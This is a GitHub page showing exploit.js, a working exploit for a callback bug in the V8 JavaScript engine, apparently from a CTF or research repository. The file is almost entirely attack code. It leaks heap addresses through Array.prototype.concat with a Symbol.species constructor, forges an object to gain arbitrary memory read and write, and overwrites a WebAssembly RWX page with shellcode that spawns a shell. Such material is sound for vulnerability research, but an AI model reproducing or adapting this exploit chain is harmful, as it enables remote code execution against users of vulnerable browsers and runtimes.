-
Notifications
You must be signed in to change notification settings - Fork 55
/
exploit.js
226 lines (188 loc) · 6.83 KB
/
exploit.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
// exploit for evilCallback
// ./executable_d8/d8 --max-heap-size 1024 ./exploit.js
const ISDEBUG = 1;
// some global variables used by the following exploition
var g_arr_map = null;
var g_arr_property = null;
var g_arr_element = null;
var g_arr_length = null;
var g_controlled_arr = null;
// function used for type-converion and debugging
var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
function f2i(f) {
float64[0] = f;
return bigUint64[0];
}
function i2f(i) {
bigUint64[0] = i;
return float64[0];
}
function hex(i) {
return "0x" + i.toString(16).padStart(16, "0");
}
function dump64(arr, length) {
for (var i = 0; i < length; i++) {
print("\033[1;33;1m[DEBUG] " + i + "\t" + hex(f2i(arr[i])) + "\033[0m");
}
}
function gc() {
new ArrayBuffer(0x7fe00000);
}
function log(data) {
if (ISDEBUG) {
print("\033[1;36;1m[DEBUG] " + data + "\033[0m");
}
}
function leak() {
// using literal array here
log("STEP 0: Leaking maps and addresses");
class customArray extends Float64Array {}
var leakArr = new customArray(0x100);
leakArr.__defineSetter__("length", function() {});
const constru = new Function();
constru.__defineGetter__(Symbol.species, ()=>{
return function() {
return leakArr;
}
});
var corrupted_array = [
// HOLEY_DOUBLE_ELEMENTS
, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
0.1, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
0.1, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
0.1, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
0.1, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
0.1, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
0.1, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
0.1, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
0.1, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
0.1, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
];
var fake_obj = new Array(0x10);
fake_obj[0] = i2f(0xcafecafen);
var getAddrArr = [{}, i2f(0xbad0bad0n), i2f(0xdeaddeadn), 4.3, 4.3, 4.3, 4.3, 4.3, 4.3, 4.3, i2f(0xdeadbeefn)];
corrupted_array.constructor = constru;
Array.prototype[0] = {
valueOf: function() {
corrupted_array.length = 1;
gc();
print("[SUCCESS] CALLBACK (leaking)");
delete Array.prototype[0];
}
};
var res = corrupted_array.concat();
g_arr_map = f2i(res[1]);
g_arr_property = f2i(res[2]);
g_arr_element = f2i(res[3]);
g_arr_length = f2i(res[4]) >> 0x20n;
g_fake_obj = fake_obj;
g_getAddrArr = getAddrArr;
g_fake_obj_addr_dataaddr = g_arr_element + 0x68n;
g_fake_obj_addr = g_arr_element + 0x38n;
g_getAddrArr_addr = g_arr_element + 0xe8n;
if (ISDEBUG) {
dump64(res, 50);
log("Leaked map: \t" + hex(g_arr_map));
log("Leaked prop: \t" + hex(g_arr_property));
log("Leaked elem: \t" + hex(g_arr_element));
log("Leaked len: \t" + hex(g_arr_length));
}
}
function overlap() {
// constructing overlap and get a fake_obj
log("STEP 1: Constructing a fake object");
class customArray extends Float64Array {}
var leakArr = new customArray(0x100);
leakArr.__defineSetter__("length", function() {});
const constru = new Function();
constru.__defineGetter__(Symbol.species, ()=>{
return function() {
return leakArr;
}
});
var corrupted_array = [
// HOLEY_ELEMENTS
0.1, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
0.1, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
0.1, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
0.1, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
0.1, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
0.1, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
0.1, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
0.1, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
0.1, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, {},
];
var fake_obj = new Array(0x10);
fake_obj[0] = i2f(g_fake_obj_addr_dataaddr); // set the hole pointing to fake object
corrupted_array.constructor = constru;
// constructing fake object with the data leaked
g_fake_obj[0] = i2f(g_arr_map);
g_fake_obj[1] = i2f(g_arr_property);
g_fake_obj[2] = i2f(g_arr_element);
g_fake_obj[3] = i2f(g_arr_length << 0x20n);
Array.prototype[10] = {
valueOf: function() {
corrupted_array.length = 1;
gc();
print("[SUCCESS] CALLBACK (overlaping)")
Object.prototype.valueOf = function() {
// pass the fake object out
g_controlled_arr = this;
delete Object.prototype.valueOf;
throw "Fake object is under cuntrol!";
return 4.3;
}
delete Array.prototype[10];
return 4.3;
}
};
var res = corrupted_array.concat();
}
leak();
try {
overlap();
} catch(e) {
log(e);
}
log("STEP 2: Arbitary read and write");
function getAddr(obj) {
g_fake_obj[2] = i2f(g_getAddrArr_addr);
g_getAddrArr[0] = obj;
return f2i(g_controlled_arr[0]);
}
function readAddr(addr) {
g_fake_obj[2] = i2f(addr - 0x10n);
return f2i(g_controlled_arr[0]);
}
function writeAddr(addr, data) {
g_fake_obj[2] = i2f(addr - 0x10n);
g_controlled_arr[0] = i2f(data);
}
log("STEP 3: Get RWX memory");
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
var f_addr = getAddr(f);
log("leak wasm func addr: " + hex(f_addr));
var shared_info_addr = readAddr(f_addr + 0x18n);
var wasm_exported_func_data_addr = readAddr(shared_info_addr + 0x8n);
var wasm_instance_addr = readAddr(wasm_exported_func_data_addr + 0x10n);
var rwx_page_addr = readAddr(wasm_instance_addr + 0x80n);
log("leak rwx_page_addr: " + hex(rwx_page_addr));
var shellcode = [
0x6e69622fb848686an, 0xe7894850732f2f2fn, 0x2434810101697268n, 0x6a56f63101010101n,
0x894856e601485e08n, 0x50f583b6ad231e6n,
];
var data_buf = new ArrayBuffer(0x200);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = getAddr(data_buf) + 0x20n;
writeAddr(buf_backing_store_addr, rwx_page_addr);
for (var i = 0; i < shellcode.length; i++) {
data_view.setFloat64(i*8, i2f(shellcode[i]), true);
}
print("\033[1;32;4m[WIN] getshell !!!\033[0m");
f();